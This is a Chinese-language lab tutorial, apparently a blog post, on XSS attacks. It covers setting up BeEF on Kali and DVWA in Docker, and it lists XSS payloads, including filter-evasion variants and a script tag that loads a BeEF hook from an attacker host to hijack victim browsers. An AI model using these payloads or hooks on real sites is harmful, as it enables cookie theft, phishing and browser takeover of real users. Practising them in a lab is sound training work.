XSS攻击与防御

目录

一、环境配置

kali安装beef

contos7安装dvwa

二、XSS攻击简介

三、XSS攻击的危害

四、xSS攻击的分类

五、XSS产生的原因

六、构造XSS攻击脚本

(一)基础知识

常用的html标签

常用的js脚本

(二)构造脚本的方式弹窗警告

七、自动XSS攻击

(一)BeEF简介

(二)BeEF功能

(三)利用BeEF自动XSS攻击


一、环境配置

kali安装beef

1更新系统软件包列表:apt update

2.安装BeEF的依赖软件包。 apt install beef-xss

3.启动BeEF服务。beef-xss

4.在浏览器中输入以下网址以访问BeEF控制台。http://localhost:3000/ui/panel

contos7安装dvwa

1.更新系统软件包。yum update

2.安装Docker的依赖项。 yum install -y yum-utils device-mapper-persistent-data lvm2

3.添加Docker的软件源。

yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

4.安装Docker。yum install docker-ce

5.启动Docker服务并设置开机自启。

systemctl start docker systemctl enable docker

6.下载DVWA的Docker镜像。docker pull citizenstig/dvwa

7.创建DVWA的Docker容器。

[root@lucky ~]# docker run --name dvwa4 -d -p 8088:80 -p 3306:3306 citizenstig/dvwa

二、XSS攻击简介

(—) oWASP TOP 10之—,XSS被称为跨站脚本攻击(Cross-site-scripting)

(二)主要基于java script (JS)完成恶意攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象"空间特别大。

(三)XSS通过将精心构造代码(JS)代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。

(四)微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS。

三、XSS攻击的危害

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马 让更多人的受害

7、控制受害者机器向其它网站发起攻击

四、xSS攻击的分类

反射型 非持久性跨站点脚本攻击 攻击是一次性的,仅对当次的页面访问产生影响

存储型 持久型跨站点脚本 攻击者的数据存储在服务器端,攻击行为将伴随看攻屯数据一直存在

DOM型 既可能是反射型的,也有可能是存储型的 基于文档对象模型(Document Objeet Model,DOM)的一种漏洞

 

 存储型xss攻击流程

五、XSS产生的原因

Web应用对用户输入过滤不严谨

攻击者写入恶意的脚本代码到网页中

用户访问了含有恶意代码的网页

恶意脚本就会被浏览器解析执行并导致用户被攻击

六、构造XSS攻击脚本

(一)基础知识
常用的html标签
<iframe>iframe标签会创建包含另外一个文档的内联框架
<textarea> textarea标签定义多行的文本输入控件<img>img标签向网页中嵌入一幅图像
<script> script标签用于定义客户端脚本,比如Javascript
script标签既可以包含脚本语句,也可以通过src属性指向外部脚本文件必需的type属性规定脚本的类型。
avascript的常见应用是图像操作、表单验证以及动态内容更新
常用的js脚本

alert :alert方法用于显示带有一条指定消息和一个确认按钮的警告框

window,location:window.locatign对象用于获得当前页面的地址(URL),并把浏览器重定向到新的页面 location.href:返回当前显示的文档的完整URL

onload:一张页面或一幅图像完成加载

onsubmit:一个按钮被点击

onerror:在加载文档或图像时发生错误

(二)构造脚本的方式弹窗警告

弹窗警告

<script>alert(1)</script>

 

 页面嵌套

<iframe style="overflow:hidden;width:520px;height:400px;position:fixed;left:500px;top:400px;border:none;margin:Opx;padding:0px;"src="http://192.168.198.130:8088/"></iframe>

  页面重定向

<script> window.location= "https://www.baidu.com/" </script>

</script><script>location.href= "https://www.baidu.com/"</script>

弹窗警告并重定向

<script>alert("请移步到我们的新站");location.href="https://www.baidu.com/"</script>

图片标签利用

图像标签,有一定的隐蔽性
<img src=“#” onerror= alert('欢迎来钓鱼')>

绕开过滤的脚本

大小写<ScrIpt>alert('xss')</SCRipt>
字符编码字符编码采用URL、Base64、HTML等编码<img src=x                         οnerrοr="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">  

存储型xss基本演示

This is a<script>alert(1)</script>test comment 

访问恶意代码(网站种马)

七、自动XSS攻击

(一)BeEF简介

Browser Exploitation Framework (BeEF)BeEF是目前强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行 渗透;BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单

官网:BeEF - The Browser Exploitation Framework Project

(二)BeEF功能
信息收集   持久化控制   社会工程  渗透攻击
网络发现 确认弹框点击劫持 内网渗透
主机信息 小窗口弹窗警告 Metasploit
Cookie获取 中间人 虚假页面   CSRF攻击
会话劫持钓鱼页面DDOS攻击
键盘记录
插件信息
(三)利用BeEF自动XSS攻击

1、kali中启动BeEF

2、登录BeEF: http://192.168.198.133:3000/ui/panel 用户名beef 密码123456

3、在dvwa网站中植入xSS

DVWA植入XSS

DVWA清空缓存

<script src="http://192.168.198.133:3000/hook.js"></script>

修改maxlength=“500”

4、其他机器访问被攻击页面dvwa的页面

本机访问,变成肉机,上线

5、社工攻击范例

命令的颜色区别

绿色对目标主机生效并且不可见(不会被发现)

获得肉机的正在运行的页面

橙色对目标主机生效但可能可见(可能被发现)

灰色对目标主机未必生效(可验证下)

红色对目标主机不生效

可以看出dvwa的账号和密码 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值